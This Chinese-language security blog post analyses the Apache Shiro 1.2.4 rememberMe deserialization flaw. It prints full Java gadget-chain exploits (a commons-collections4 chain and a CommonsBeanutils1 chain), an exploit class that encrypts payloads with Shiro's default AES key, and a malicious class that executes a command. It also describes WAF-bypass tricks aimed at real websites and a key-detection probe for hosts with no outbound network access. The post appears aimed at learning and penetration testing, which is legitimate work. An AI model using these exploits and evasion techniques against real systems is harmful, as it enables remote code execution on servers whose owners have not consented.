Java反序列篇-浅谈Shiro利用分析
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
前言
在前面几篇文章中从最容易入手的URLDNS链条,再到CC6,CC1,CC2基本可以说把所有CC链都学完了,其他的CC链的出现也是为了解决黑名单的问题。
借用P牛的一段话,我们既然已经有CommonsCollections6这样通杀的利用链了,为什么还需要一 个TemplatesImpl的链呢?因为通过 TemplatesImpl 构造的利用链,理论上可以执行任意Java代码,这是一种非常通用的代码执行漏 洞,不受到对于链的限制,特别是这几年内存马逐渐流行以后,执行任意Java代码的需求就更加浓烈了。
几个问题
- 为什么
CommonsCollections6等部分CC链条无法在Shiro中反序列化利用成功呢? - Shiro环境没有
CommonsCollections依赖该怎么利用? - 为什么P牛的Shiro环境用有些工具打
CommonsBeanutils1链条会反序列化失败? Shiro遇到WAF的时候又该怎么绕过?Shiro环境不出网时,我们该怎么判断是否存在Shiro反序列化漏洞?
环境
- Shiro1.2.4
- CommonsCollections依赖
分析
Shiro为了让浏览器或服务器重启后用户不丢失登录状态,支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro<=1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
攻击流程
- 利用我们学过的CC链条生成一条序列化payload
- 利用Shiro默认的Key进行加密
- 进行Base64编码
- 将编码过的字符串当做rememberMe字段的值发送给服务端


第一个问题
为什么CommonsCollections6等部分CC链条无法在Shiro中反序列化利用成功呢?
把payload发送过去,没有像预期那样弹出计算器,Tomcat服务端也出现了报错,我们来一起探究下。

org.apache.shiro.io.ClassResolvingObjectInputStream类是一个ObjectInputStream的子类,其重写了resolveClass方法,
resolveClass是反序列化中用来查找类的方法,读取序列化流的时候,读到一个字符串形式的类名,通过这个方法来找到对应的 java.lang.Class对象。对比一下它的父类,也就是正常的ObjectInputStream类中的 resolveClass方法。


前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原 生的 Class.forName。下断点调试,看看哪个类触发了异常。

出现异常的类是Lorg.apache.commons.collections.Transformer类,学过CC链就会知道表示的是org.apache.commons.collections.Transformer的数组。
借用P牛的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6及部分CC链条无法利用了,因为其中用到了Transformer数组。
构造不含Transformer数组的Gadget
Gadget
Gadget chain:PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TransletClassLoader.defineClass()newInstance()Runtime.getRuntime().exec("calc.exe")

POC
package payload;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2_shiro_cc4 {public byte[] getPayload(byte[] clazzBytes) throws Exception {byte[][] codes={clazzBytes};TemplatesImpl templatesImpl= new TemplatesImpl();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,codes);Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[0],new Object[0]);TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}}
Exp
package Exp;import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import payload.CC2_shiro_cc4;public class CC2Exp {public static void main(String []args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Evil.class.getName());byte[] payloads = new CC2_shiro_cc4().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}}
Evil恶意类
package Exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc.exe");} catch (Exception e) {}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}
这里不做过多的分析,不了解的可以看看前几篇文章的分析。
第二个问题
Shiro环境没有CommonsCollections依赖该怎么利用?
Shiro自带了Apache Commons Beanutils这个库,我们可以利用这个库来触发反序列化命令执行漏洞。
知识补充
Commons Beanutils是应用于JavaBean的工具
JavaBean简单理解:1.公有类 2.无参构造函数 3.成员变量私有 4.getter和setter方法包装成员变量
就是属性都有访问器和更改器。而Commons Beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法。
比如一个类User是个JavaBean,它有个name属性,则PropertyUtils.getProperty(new Usesr(),"name")则会调用它的getName()方法。
这有什么用呢?我们前面分析过TemplateImpl类中还有一个方法一样可以触发最后的字节码加载并实例化。那就是getOutputProperties方法,如果我们可以调用PropertyUtils.getProperty(new TemplateImpl(),"OutputProperties")是不是就可以RCE了。
经过大佬们的探索,发现Commons Beanutils中的BeanComparator类的compare()方法调用了PropertyUtils.getProperty

拼接CommonsCollection2的前半段形成新的利用链条

Gadget chain: PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() BeanComparator.compare() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass() newInstance() Runtime.getRuntime().exec("calc.exe")

package payload;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CB1_shiroAll {public static byte[] getPayload(byte[] clazzBytes) throws IOException, NoSuchFieldException, IllegalAccessException {byte[][] codes={clazzBytes};TemplatesImpl templates=new TemplatesImpl();Class tc=templates.getClass();Field nameField=tc.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaaa");Field bytecodesField=tc.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);bytecodesField.set(templates,codes);Field tfactoryField=tc.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);queue.add("1");queue.add("1");Field pro = comparator.getClass().getDeclaredField("property");pro.setAccessible(true);pro.set(comparator, "outputProperties");Field que = queue.getClass().getDeclaredField("queue");que.setAccessible(true);que.set(queue,new Object[]{templates,templates});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}}
第三个问题
为什么P牛的Shiro环境用有些工具打CommonsBeanutils1链条会反序列化失败?
知识补充
serialVersionUID是什么?
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。当然,开发者也可以手工给类赋予一个 serialVersionUID 值,此时就能手工控制兼容性了。所以,利用失败的原因就是本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了 serialVersionUID 对应不上的问题。
将本地的commons-beanutils也换成1.8.3版本就可成功利用。所以不要盲目的相信他人的工具,一定要看看工具的源码是咋写的。
第四个问题
Shiro遇到WAF的时候又该怎么绕过?
现在的站点大部分都有部署WAF对网站进行防护,而且防护都比较严格。对rememberMe长度的限制,对解密后的反序列类检查。
0x01
使用垃圾数据绕过
rememberMe = payload + == + 垃圾数据

0x02
使用未知HTTP请求绕过,有的WAF不会对未知HTTP请求进行拦截。但我们也需要保证后端会正常解析rememberMe字段,经试验此方法可行。

0x03
通过base64解码特性导致waf不能成功解码绕过waf
参考文章:你的扫描器可以绕过防火墙么?(一) (qq.com)
base64解码时,不同语言的接口实现有略微区别
- 字符串中包含
. %等符号时,是选择忽略这些符号,还是报错 - 字符串中包含
=符号,解析到=时,是认为解析完成了,还是忽略”等号”继续解析 -

- 所以我们可以通过在payload中添加
...........或者%%%%来绕过waf,让waf解析失败 -


第五个问题
Shiro环境不出网时,我们该怎么判断是否存在Shiro反序列化漏洞?
参考文章:一种另类的shiro检测方式
简单说下原理,就是反序列过程最后会进行类型转换,而返回包中DeleteMe字段是在密钥不对或者类型转换等错误抛出异常时,在返回头添加的字段。如果我们反序列化的类是PrincipalCollection的子类且密钥又正确,返回头便不会有DeleteMe字段。
protected PrincipalCollection deserialize(byte[] serializedIdentity) {return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);}


检测POC
package payload;import org.apache.shiro.subject.SimplePrincipalCollection;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class KeyTest {public byte[] getPayload() throws IOException {SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(simplePrincipalCollection);oos.close();return barr.toByteArray();}}
通过返回头有没有DeleteMe字段来检测密钥,利用限制更小。当然WAF可能也会对这些类进行拦截,可以使用上面的方法或者寻找其他类进行绕过。

总结
学习一个漏洞的利用,不应该只是单纯在本地自己搭建的环境进行复现。更需要学习各种WAF的绕过,不出网等各种各样情况下该怎么进行应对。如果没有学习过WAF的常规绕过,又面对现在大部分网站都部署WAF的情况下可能会错过非常多的漏洞。然后就是不出网情况的利用,这种情况还是很常见。现在往往为了保证网站服务器的安全,会把网站的服务器设置成不出网状态会把服务端口经过各种映射让用户访问。
以上是作者自己是思考见解,如有不对还望大家指点!
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/5850.html



